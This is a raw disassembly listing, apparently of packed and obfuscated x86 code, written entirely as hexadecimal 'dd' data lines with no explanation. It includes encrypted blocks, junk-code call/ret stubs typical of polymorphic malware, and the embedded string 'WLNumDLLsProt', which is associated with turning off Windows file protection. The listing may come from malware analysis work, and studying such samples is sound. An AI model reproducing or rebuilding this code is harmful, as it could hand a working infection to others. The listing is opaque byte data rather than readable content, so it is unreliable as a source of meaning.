		dd 890F0000h, 1, 860F5EFCh, 6, 2C6D9D31h, 8DFF0644h, 6443A3Fh
		dd 3A3FBD83h, 75000644h, 2444C710h, 1Ch, 0C6B58D00h, 0FF06443Eh
		dd 3AD56E6h, 97282444h,	858ADF8Bh, 64402E9h, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 19F985FFh,	6FE90644h, 5EFFFFFFh, 11E9h, 0CD4F7F00h
		dd 0CF6957B6h, 0DA2D9145h, 0F506C799h, 8D0F4D16h, 6, 2D29BD89h
		dd 858B0644h, 64419F9h,	0FE0D1F5h, 78Eh, 1840F00h, 0F8000000h
		dd 0D698503h, 800F0644h, 6, 698D89h, 0BE0644h, 0F000000h
		dd 681h, 5852900h, 9606442Dh, 1AD66F5h,	441E25B5h, 2E0C106h
		dd 318503F8h, 8906440Eh, 441D559Dh, 95899606h, 6441BDDh
		dd 4C8BF9ADh, 66602424h, 2916D7B9h, 4421D585h, 44036106h
		dd 8A0F2424h, 6, 2EB59501h, 44890644h, 8D0F1C24h, 0Ah
		dd 5E9h, 589F8B00h, 0F96F46Dh, 0E84h, 0D0816000h, 50BF7053h
		dd 2FB99D2Bh, 0AC610644h, 10D5BD89h, 0C9320644h, 60C1FEF8h
		dd 52DBBF0Fh, 8AECBA66h, 0D0D0615Eh, 0D6830Fh, 0D0F90000h
		dd 0CD830FD0h, 89000000h, 44329DBDh, 0FD0D006h,	0BF82h
		dd 0FE86000h, 6B000000h, 0E25A756Dh, 3E1A466Dh,	6EA6BCC4h
		dd 0AE9630Eh, 0AA000000h, 9CE39AF4h, 34FF5483h,	54B858D7h
		dd 611BE3FBh, 1E51BD89h, 0D0D00644h, 86820Fh, 0AE90000h
		dd 3B000000h, 359352F0h, 53C812C7h, 0FC9FEF2h, 0FFFF9189h
		dd 0C483FCFFh, 44C7F920h, 0FC24h, 8D290000h, 644316Dh
		dd 1B8h, 0EE900h, 0D2500000h, 0DB20C3E1h, 0D796112Eh, 16DB6817h
		dd 733A8D8Dh, 0EE90644h, 57000000h, 67AD7AB2h, 0CB3E8B21h
		dd 0EBB09BFAh, 89E1FFD1h, 441969B5h, 1D8E0F06h,	0F000000h
		dd 1785h, 12E900h, 0E4740000h, 0B7A24556h, 6AA5D88Eh, 0AAD96CBCh
		dd 4DD75CD0h, 2E985C6h,	9000644h, 44001D95h, 8D896106h
		dd 6442561h, 600008C2h,	75BD8B60h, 0E906442Ah, 13h, 0F99A6AF3h
		dd 0F32CD6ECh, 0C9E68870h, 32D2B3D5h, 61C494F9h, 0A2BB6660h
		dd 0B1BD899Eh, 6106442Bh, 50609661h, 6E8h, 0C81B7800h
		dd 598F8FC2h, 3E71B85Fh, 5061038Ch, 8850Fh, 870F0000h
		dd 2, 60966160h, 118F0Fh, 0CE90000h, 84000000h,	50EA48ACh
		dd 1452232Dh, 0F0A3795h, 8961F3B7h, 4440C9B5h, 0BE906h
		dd 0B82A0000h, 0D8F588F5h, 5611E72h, 4830F6Bh, 60000000h
		dd 8961D68Bh, 4440E58Dh, 81666006h, 0B91859E7h,	4FC396AFh
		dd 61BD0961h, 8D064423h, 443FBAB5h, 7860F06h, 0F000000h
		dd 185h, 858DF800h, 5B7E35h, 263DBD89h
		dd 0D0FF0644h, 1031BD89h, 895E0644h, 4433A995h,	9529C306h
		dd 6442C25h, 40C9B58Bh,	8C0F0644h, 0Eh,	0B1B58960h, 31064433h
		dd 441DE995h, 8D8B6106h, 64440E5h, 18D0Fh, 0B8FC0000h
		dd 0
		dd 1C91BD31h, 0D98B0644h, 0EE9h, 0E4BA1200h, 1AB5AA0Ch
		dd 0FABB880Bh, 0E954D3EBh, 0A8h, 24B99D01h, 26320644h
		dd 19860Fh, 89600000h, 44026995h, 0CE906h, 0D2040000h
		dd 7E1C510Dh, 1BB639CEh, 0B261C75Eh, 6890F02h, 29000000h
		dd 4432A585h, 48E906h, 0BD890000h, 6440CA9h, 9589C232h
		dd 64424A1h, 751D7A05h,	0CDB5898Ah, 8A064413h, 8960F8CCh
		dd 442E3585h, 69BD8906h, 6106442Ah, 35F5C8D3h, 98D10842h
		dd 9E9h, 2B260100h, 0F6E1AF40h,	0CAFE18FAh, 16859589h
		dd 0D20A0644h, 0FFB6850Fh, 9D31FFFFh, 6441E79h,	8AB2604Bh
		dd 0E6816660h, 0F8BF77B1h, 610A105Ch, 8D314661h, 6442249h
		dd 850FDB0Bh, 0FFFFFF56h, 68A0Fh, 9D890000h, 6442029h
		dd 0CDB589CFh, 6440Ch, 68B0F00h, 89000000h, 442B9195h
		dd 0F000006h, 68Fh, 95B52900h, 6442Bh, 0F500h, 0E59D8B60h
		dd 6106441Bh, 3A65858Dh, 85890644h, 6441F55h, 2A61B531h
		dd 85890644h, 6442D99h,	14E9h, 84C44600h, 6060F13Bh, 1E63CAF9h
		dd 87889760h, 0F7E537A6h, 0B858D90h, 0F906443Fh, 236D8589h
		dd 14EB0644h, 4	dup(0)
dword_5407EC	dd 8Bh,	41FE858Dh, 85890644h, 644240Dh,	413EBD83h, 0F000644h
		dd 12384h, 0E985C600h, 56064402h, 1AE3D068h, 2404817Fh
		dd 55048969h, 2D7DB5FFh, 858D0644h, 6443A65h, 8589D0FFh
		dd 6444132h, 2E985C6h, 0E8560644h, 4, 9CA8B852h, 24448B50h
		dd 89008B04h, 58042444h, 2D7DB5FFh, 858D0644h, 6443A65h
		dd 8589D0FFh, 6444136h,	6068046Ah, 81782A2Eh, 3E602434h
		dd 858B782Ah, 6444142h,	1F405h,	2E0C100h, 24048950h, 95FF006Ah
		dd 6444136h, 413A8589h,	0D88B0644h, 0FFFFFFB8h,	0D95FFFFh
		dd 8B064424h, 0D95FFC3h, 0E9064424h, 84h, 413EBD83h, 0F000644h
		dd 185h, 8B57C300h, 44413ABDh, 8583AB06h, 644413Ah, 83C35F04h
		dd 44413EBDh, 850F0006h, 1, 0AD8360C3h,	644413Ah, 3A9D8B04h
		dd 83064441h, 0FFFFC7Bh, 1D85h,	1C406800h, 4819867h, 9963C024h
		dd 0FF006A67h, 3295FF33h, 61064441h, 1DE9C3h, 96680000h
		dd 813ECDD2h, 52962434h, 6A3ECDh, 95FF33FFh, 6444132h
		dd 413AAD83h, 0E9040644h, 0FFFFFFB1h, 1ADE948h,	8B600000h
		dd 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h
		dd 585h, 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5
		dd 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h
		dd 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h, 2,	0FFFF70E9h
		dd 1B8FFh, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h
		dd 3485h, 1B900h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C9h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h
		dd 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh
		dd 830F0000h, 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h
		dd 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h
		dd 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h
		dd 840F01E8h, 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh
		dd 76E90000h, 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h
		dd 929h, 9D3E9h, 65CB2700h, 0D12AF446h,	0E8510EB5h, 0A928EEDh
		dd 0A2EA7C1Ch, 33DE518Dh, 354F39DBh, 3FCC30F8h,	65ED7A41h
		dd 0DD68FF4Bh, 0BA461CBDh, 0D809FBEh, 0CDA17359h, 39D421EEh
		dd 394E24CFh, 3DCC30AAh, 65EE7547h, 0C268E54Bh,	0BA5906A0h
		dd 169E83A0h, 0A6AF674Eh, 2E98158Dh, 745F24CBh,	288231F8h
		dd 65F86147h, 0C327E352h, 0B45908A0h, 63h dup(0)
		dd 65CB2700h, 0CD26FE4Fh, 0BA4606A6h, 1E9C94BDh, 0E7E27F4Eh
		dd 7CCB108Bh, 7B4E32CCh, 24CD23AAh, 37AA7046h, 0CD26FF57h
		dd 0F3140EBCh, 168AC6A3h, 0B4AF6C49h, 39CC029Ah, 182179C3h
		dd 30C729DAh, 65A6715Bh, 0CB24FF57h, 0F3140DB3h, 0B95C6B9h
		dd 0AAAF7353h, 2ED71C86h, 7B4A77D7h, 34D065EEh,	37EB605Bh
		dd 0CB31B156h, 0EA141BA7h, 0B9489BFh, 0A1735Dh,	48h dup(0)
		dd 65CB2700h, 0C729E341h, 0BD460CB9h, 1687C6BEh, 0AFAF7253h
		dd 3E980282h, 354532CBh, 3FD72AECh, 30F8344Ch, 0CA21FF4Ch
		dd 0F45D49B5h, 0C9C9FEDh, 0BEFC3E4Eh, 31DD0590h, 45265D80h
		dd 22C320E6h, 30AA384Dh, 0C527FD4Ch, 0EE5D49B6h, 168180EDh
		dd 0A2E23E51h, 25CA1E8Eh, 7145368Eh, 22C737AAh,	31F8755Ch
		dd 0D127E802h, 0E84449A0h, 188181A2h, 3051h, 61h dup(0)
		dd 2CCC2700h, 0C768F44Eh, 0EF461BBDh, 1D9692BDh, 93AF301Dh
		dd 7CCB188Bh, 724425DEh, 71CF24F8h, 65F97540h, 0CA2DF440h
		dd 0F45504F2h, 158696A4h, 0A3EA6A5Dh, 38D610C3h, 6C4A3A8Eh
		dd 5CA820E8h, 36AD6041h, 0C226F802h, 0FF400AB7h, 91C6A9h
		dd 91AF7F1Ch, 2FCD038Ah, 3559388Eh, 32C337E9h, 6BEE7143h
		dd 0CD20C502h, 0F35249A1h, 0ED383A1h, 0B3A87053h, 2ED706C3h
		dd 7B4A77C5h, 23CD28F3h, 3A4Dh,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2E1AE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 667B4D3Dh, 5347CA81h, 15800Fh, 10E90000h
		dd 5B000000h, 2C0868Ah,	0F9D11EA2h, 0A3E6C2A9h,	0FCA139F3h
		dd 32B1958Bh, 0C08B0644h, 1CAD958Bh, 0BD830644h, 64420CDh
		dd 83097500h, 440B25BDh, 13740006h, 0C08B5350h,	1B8h, 0F19D8D00h
		dd 0FF0646A6h, 83585BD3h, 440B25BDh, 11740006h,	1B85350h
		dd 8D000000h, 46A5A29Dh, 5BD3FF06h, 48A0F58h, 66000000h
		dd 6AA6AABBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 3BCAC357h, 2E8BB10Fh, 14E9C141h
		dd 7C000000h, 0D906A34Bh, 7ED11D7Ch, 0FCAC1829h, 0DA7B2FD1h
		dd 66D37CA7h, 6E9AEB81h, 2BBAC08Bh, 8329E1ADh, 441A19BDh
		dd 840F0006h, 186h, 2E2D9D8Bh, 0BD830644h, 6440CB5h, 73840F00h
		dd 8B000001h, 0BF0F60D8h, 0FB8B66F8h, 8D896061h, 6443389h
		dd 0CB5858Bh, 9DBB0644h, 51DF861h, 3E8h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 0F2C35040h, 75B1F19Ah
		dd 89EB1396h, 440B3585h, 0EE85006h, 0D2000000h,	0AC2D3B60h
		dd 0A88A3DC3h, 49C28ACFh, 31BB6658h, 4895B4Bh, 0B3CB8124h
		dd 8D2BC0D4h, 444DF985h, 90D98B06h, 8B50C9B7h, 0CA8090DAh
		dd 0D7858DFAh, 8106444Dh, 0ECFFC9F3h, 9E8907Dh,	32000000h
		dd 0D222D73Bh, 38A3E56Bh, 505BDE8Ah, 6CED71BAh,	6A9010h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0E0D719C3h, 95FFAD99h, 64409A1h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 9BC35242h, 0B589F523h, 6441791h
		dd 6A0CC483h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0C344C356h, 7DBEA455h,	35693DB0h
		dd 4DD7858Dh, 9D290644h, 6440745h, 0A68ABB50h, 48918F8h
		dd 39958924h, 6A064422h, 4EEA8102h, 0FF4CD1DAh,	68857495h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0E7C19DD5h, 3994BC32h, 0BE961F8h, 0BD000000h
		dd 0AAEEEC51h, 0D67B2BAFh, 85C7CB71h, 6444E0Ah,	1, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h, 1800Fh
		dd 96F80000h, 6650B4B2h, 96132BBAh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 6DC35141h, 4C92BAD8h, 0B5DA51A3h
		dd 4DBBB589h, 13E80644h, 3B000000h, 60D564D3h, 0AB19A824h
		dd 90A37D43h, 4591AD94h, 0EE9AA23h, 0D1000000h,	881B38D2h
		dd 0BCFAD22Bh, 2F67FB1Ch, 0BD835A31h, 6442F11h,	48850F01h
		dd 0F000000h, 8952D3B7h, 442F7D8Dh, 0F8835B06h,	34850F05h
		dd 89000000h, 4408D5BDh, 0B806h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0DE5065C3h
		dd 0E53180BCh, 0F6EA81C1h, 836B45F9h, 442C49BDh, 840F0006h
		dd 11h,	9318D29h, 0B80644h, 8B000000h, 442FDD95h, 9D8B6006h
		dd 6440FE5h, 1591858Bh,	0B70F0644h, 2C083D0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 47C35343h, 8589C181h
		dd 6444DB3h, 159D9D0Bh,	0C60644h, 0ECBB66FFh, 97D7BA06h
		dd 85C61F44h, 64402E9h,	51006A53h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0D18EEE28h, 530E1EC9h
		dd 8531B238h, 64432C9h,	0E8DA8B66h, 12h, 9B74FA5Ah, 2BA6F3BAh
		dd 6E0D71C0h, 1646716Bh, 9D8BAA58h, 64416A5h, 0ED5685Ah
		dd 0BA66907Bh, 481BB8Fh, 363A0324h, 0D8F0F6Ch, 60000000h
		dd 20C59D33h, 54BB0644h, 6176502Eh, 17E9B5FFh, 800F0644h
		dd 6, 15958Bh, 8D010644h, 64431B9h, 77AF858Dh, 6A0647h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 1D3AC3C3h, 0FD71108Fh, 0FFF0F12Bh, 29BD01D0h, 8906442Dh
		dd 441C4D85h, 42FEBA06h, 0BD831996h, 6441879h, 0A2850F01h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 16BEC353h, 860FB800h, 6, 9099D01h
		dd 9D2B0644h, 64425FDh,	729CBA61h, 85C620B6h, 64402E9h
		dd 5BD0145h, 6806441Bh,	0C2EA7597h, 5BF18A51h, 55243481h
		dd 0E9188A4Dh, 13h, 5B1AA508h, 72BA388Bh, 0B1546DB8h, 0F064D042h
		dd 0FF480EC5h, 4417E9B5h, 2D958906h, 8D064422h,	4777AF85h
		dd 5E906h, 0D69B0000h, 0FFB661D1h, 9D8956D0h, 64409E9h
		dd 89006A5Bh, 441CA585h, 89D0FF06h, 4409A9B5h, 55BD8306h
		dd 1064402h, 0BB850Fh, 9D890000h, 6442609h, 1591858Bh
		dd 830F0644h, 3, 0E9D18B66h, 6Fh, 18698589h, 0B7500644h
		dd 24048988h, 0F03D05BAh, 0FF146A51h, 441C4D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E96A1CFDh, 0Ch, 50D1B7DBh, 7C7BB96Ah, 53277EA7h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 58D0E6F1h, 0E4E2DB14h, 80D6B70Fh, 850F0038h,	0FFFFFF8Eh
		dd 0C6D18B66h, 6A0100h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BA1D0C3h, 442D359Dh, 0F0BB6106h
		dd 0B633B04Ch, 79BD8340h, 6440Ah, 52840Fh, 0D3810000h
		dd 120C83D1h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0E25549C3h, 2F39BB8Eh, 95FF30A9h
		dd 6441C4Dh, 68C0Fh, 9D890000h,	6440079h, 0FFFFC3E9h, 98F0FFFh
		dd 60000000h, 81666160h, 611620EFh, 0A7985C7h, 10644h
		dd 8B660000h, 0BF8589D1h, 8B06444Dh, 44036995h,	0F5BB6606h
		dd 0BA669089h, 6650687Ah, 2990D88Bh, 4423C9BDh,	6A6006h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 2F27FAC3h, 51104271h, 830F60h, 89000000h, 441BEDBDh
		dd 295B6106h, 4407799Dh, 0E4D4BB06h, 56A4756h, 81958B53h
		dd 5B06440Ch, 29699501h, 858D0644h, 6444DD7h, 0CDF28160h
		dd 8B657BEBh, 4428B5BDh, 0BA506106h, 4111D7E3h,	89240489h
		dd 4418C595h, 0C7858D06h, 6A06444Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0CDB4C355h
		dd 50EEF6BDh, 0F18B6660h, 8961F6B2h, 95FF2404h,	6440051h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 88C35646h
		dd 0CE791F89h, 0DFAAFE82h, 24E38086h, 7BB48D8Dh, 6A0644h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 880FA9C3h, 3, 0BDE8B66h, 8D1174C0h, 444DD785h, 0D1FF5006h
		dd 4DF58589h, 0AEB0644h, 4DF585C7h, 0FFFF0644h,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 53CD9AC3h, 5FC92061h, 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8A0FDFC3h, 6,	8BA7C381h
		dd 6A615EE6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0DFEFC353h, 0CB4BB66h, 2E985C6h, 664D0644h, 0E81FA3BAh
		dd 4, 0A43576A8h, 14E8h, 0E1D9D500h, 0DB3E9B78h, 0B839E81Ch
		dd 0E11BAF9Ah, 0D8DCF92Ah, 7ABB6633h, 50505A3Ah, 2890F52h
		dd 57000000h, 0B6310F5Ah, 8B585A3Ah, 0E8042444h, 0Dh, 0A44A8ED9h
		dd 7FD81845h, 17A52FDBh, 0D78B6626h, 66008B5Ah,	89C80EBBh
		dd 8B042444h, 0F5158DAh, 689h, 0D99D8B00h, 5A06441Ch, 3C9B5FFh
		dd 958B0644h, 6442C31h,	77AF858Dh, 46B60647h, 6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 7B5AC4C3h, 378C7507h, 8A0F027Bh, 6, 25AD9523h, 85890644h
		dd 644035Dh, 7E8h, 0C48F7100h, 40C18CBFh, 5AD8BF0Fh, 0EE9h
		dd 89FBDE00h, 0E47CCAB8h, 95E868DEh, 0C606E8A3h, 4402E985h
		dd 6A4506h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 3C8997C3h, 687BC8CAh, 0DBBFE7C1h,	0F525060h
		dd 5A616031h, 0BE858h, 74870000h, 9398E4D6h, 0B49A47BBh
		dd 13E813h, 23710000h, 33B0E36h, 94BE7DF4h, 931DB6E3h
		dd 7105C7EEh, 61595BD8h, 0A8243481h, 6A55CD8Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0A7D5C353h, 0DC642C61h, 7B3A8D5h, 17E9B5FFh,	870F0644h
		dd 4, 0C901BB66h, 77AF858Dh, 8B660647h,	9D9D89DFh, 0FF064408h
		dd 0D78B66D0h, 20E18589h, 0D28B0644h, 0FE9h, 571E3000h
		dd 0C83C2701h, 0DFFD7DADh, 81A735F3h, 0E8D98C66h, 12h
		dd 3940459Ch, 6DA043A0h, 0D9C67D0Ch, 0B7FD65BCh, 8589E633h
		dd 6440035h, 4C1F65Ah, 25A840Fh, 69B70000h, 125E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 340EB937h, 0F78A51D4h, 1DB58B5Bh, 66064404h,	0C681D38Bh
		dd 1180h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	1C35646h, 122D1902h, 176B94A6h,	0E9BD83F9h, 6441Bh
		dd 26850Fh, 14E90000h, 4F000000h, 0B2053E3Dh, 98BBF630h
		dd 249BCEB0h, 0EC226185h, 66F3BFD1h, 6EE9D68Bh,	0BB000000h
		dd 2DF698BEh, 0F003E83h, 6084h,	519D8B00h, 60064425h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 44C35242h, 6D95898Fh
		dd 66064400h, 6ADAD6BBh, 10E814h, 3D430000h, 0FB97990Ah
		dd 69ED9450h, 80C09485h, 8B667A15h, 95FF5BDFh, 6441C4Dh
		dd 0B661D98Bh, 0D28166C2h, 99E95305h, 8BFFFFFFh, 106C7D9h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0EBEAC350h, 4B22E6A3h,	9D8B4FD9h
		dd 64408A1h, 0BD83DA8Ah, 6444DBFh, 21850F05h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 2CAEC357h, 0C9A2AF6Bh, 11D1A6C9h,	1F6D8D31h
		dd 95310644h, 64433C5h,	20E1B58Bh, 6E80644h, 0BF000000h
		dd 6DAB73E3h, 79BA66B5h, 64B95A97h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0F1F9C350h, 71C8856h, 0C65B589h, 3E800644h, 11840FE8h
		dd 81000000h, 0F6550D3h, 18E976h, 0BD890000h, 6443185h
		dd 0C2057E80h, 53840Fh,	9D8B0000h, 6441875h, 6A46DF8Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 2634C356h, 0D59D29A0h, 49064423h,	0FFA8850Fh
		dd 0F60FFFFh, 181h, 858BFC00h, 6441015h, 0A2FCBA61h, 3DE965F2h
		dd 8B000000h, 4425AD9Dh, 0DB58906h, 6A064416h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 506FC350h, 3430E078h, 0E1CE96A6h, 0CAB70F60h, 0BB61F18Bh
		dd 48236B2h, 51006A58h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 9522C066h, 1DB18589h, 0BD830644h
		dd 6442E89h, 11840F00h,	89000001h, 442191B5h, 0B5896006h
		dd 6440339h, 2E985C6h, 89540644h, 4421718Dh, 4E806h, 0BEF40000h
		dd 8B57FF4Eh, 8B505AD9h, 8B042444h, 9FAFBA00h, 44896C48h
		dd 12E90424h, 0D3000000h, 10296676h, 0CDB944CBh, 3728F4F0h
		dd 4E1DF3A7h, 0FFF8586Fh, 4417E9B5h, 0D9D8B06h,	8D06441Ch
		dd 4777AF85h, 4DB46006h, 1E28166h, 0D0FF6146h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6DC35343h, 0D2817B96h
		dd 5A36F707h, 0FE9006Ah, 6B000000h, 48A4AF5Dh, 0A61DDF2h
		dd 3F767AB5h, 0B5FFDD30h, 6442E89h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 75C35545h, 11E9h, 66BD3D00h
		dd 0F9CA4FE6h, 0F132DA3Ch, 0DA8485D9h, 0D0FF4AEAh, 6880Fh
		dd 0BD010000h, 6440A95h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B589A9CFh, 6441D41h
		dd 2CAD85C7h, 10644h, 66600000h, 0B68D88Bh, 0E9B77DD0h
		dd 8, 5EF55E99h, 0B300D7B9h, 75240481h,	0E9488230h, 7
		dd 0E6C739F1h, 6A30FADEh, 5531BBFFh, 95FF1929h,	6443015h
		dd 2EA59D8Bh, 8B610644h, 44289595h, 0BB579006h,	44A7F509h
		dd 0BB66505Bh, 6A90B9B7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 63DBC353h, 8FBC7BF9h
		dd 858B0959h, 6442A09h,	6810Fh,	958B0000h, 6442221h, 840FC00Bh
		dd 18h,	0F92FBA66h, 153995FFh, 89600644h, 44310985h, 39853106h
		dd 6106441Eh, 9B585C7h,	10644h,	0C3800000h, 35BD835Ch
		dd 64432h, 4C840Fh, 5E90000h, 0B9000000h, 84370F11h, 29C8ECBAh
		dd 0ED95FF18h, 6A06441Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0BC0C355h, 13E985DEh
		dd 0C2000000h, 5A457ED5h, 0C56F2C92h, 0B9B32A23h, 48E18992h
		dd 0BD838D09h, 6441E55h, 37840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 16E2C352h, 5167D5Ch,	6F3F3B1Ah, 2CBD9D8Bh, 95FF0644h
		dd 644262Dh, 16199D89h,	0BD830644h, 644234Dh, 7B840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0ABF7C355h, 96C670F1h,	0CD9D8B2Eh
		dd 8306440Ch, 441745BDh, 850F0006h, 46h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0C2C35747h, 0FF0EF380h
		dd 44097195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 79A5F166h, 0BD83F9F4h, 64433ADh
		dd 40840F00h, 0E9000000h, 12h, 0ECAC68B2h, 61148EBBh, 0DF54A3h
		dd 0D21441EBh, 85810EFDh, 64402F5h, 4003h, 0AE8h, 3AA24600h
		dd 0B6645E26h, 0B3B2E598h, 85815ADBh, 6442229h,	4003h
		dd 0FDAB70Fh, 0D08B6631h, 5DB08D8Dh, 0D98B0644h, 958B0189h
		dd 6440995h, 0BF0FC233h, 89FD8ADBh, 9D310441h, 64423E9h
		dd 0BA66310Fh, 8D8D217Fh, 6445DCCh, 2E499589h, 1890644h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0EFC35040h
		dd 0E5D48F01h, 13860F76h, 0E8000000h, 0Bh, 19556F4h, 566A37F5h
		dd 8A7CCC73h, 0C2335BDEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 4FC35545h, 5CE91017h,	319765BEh, 44083585h
		dd 5E806h, 0BE210000h, 8BE95150h, 41895ADEh, 0DE804h, 1A020000h
		dd 0F53087F2h, 38009690h, 663A3C59h, 835AD38Bh,	440FE9BDh
		dd 840F0006h, 38h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0F3C35242h, 4670AEBh,	8B880C82h, 441E5195h
		dd 0FDE78006h, 179595FFh, 9D8B0644h, 64432DDh, 176DBD83h
		dd 0F010644h, 6485h, 49958900h,	0E9064419h, 59h, 0FA5DA80h
		dd 0B58BD2BFh, 6445EF5h, 6C7h, 0B58B0000h, 6445C67h, 6C7h
		dd 6ACF0000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 5899C356h, 44556317h, 0EE9h, 368A6B00h
		dd 0D3E0D1E7h, 6561FE7Bh, 8B931940h, 442D0595h,	0B5BD8306h
		dd 64409h, 1D4840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0DFBB4BC3h, 1971BD29h
		dd 66600644h, 0B70FC88Bh, 0BD8361F1h, 6441065h,	88850F01h
		dd 89000001h, 4426258Dh, 0B38D8B06h, 6A06444Dh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
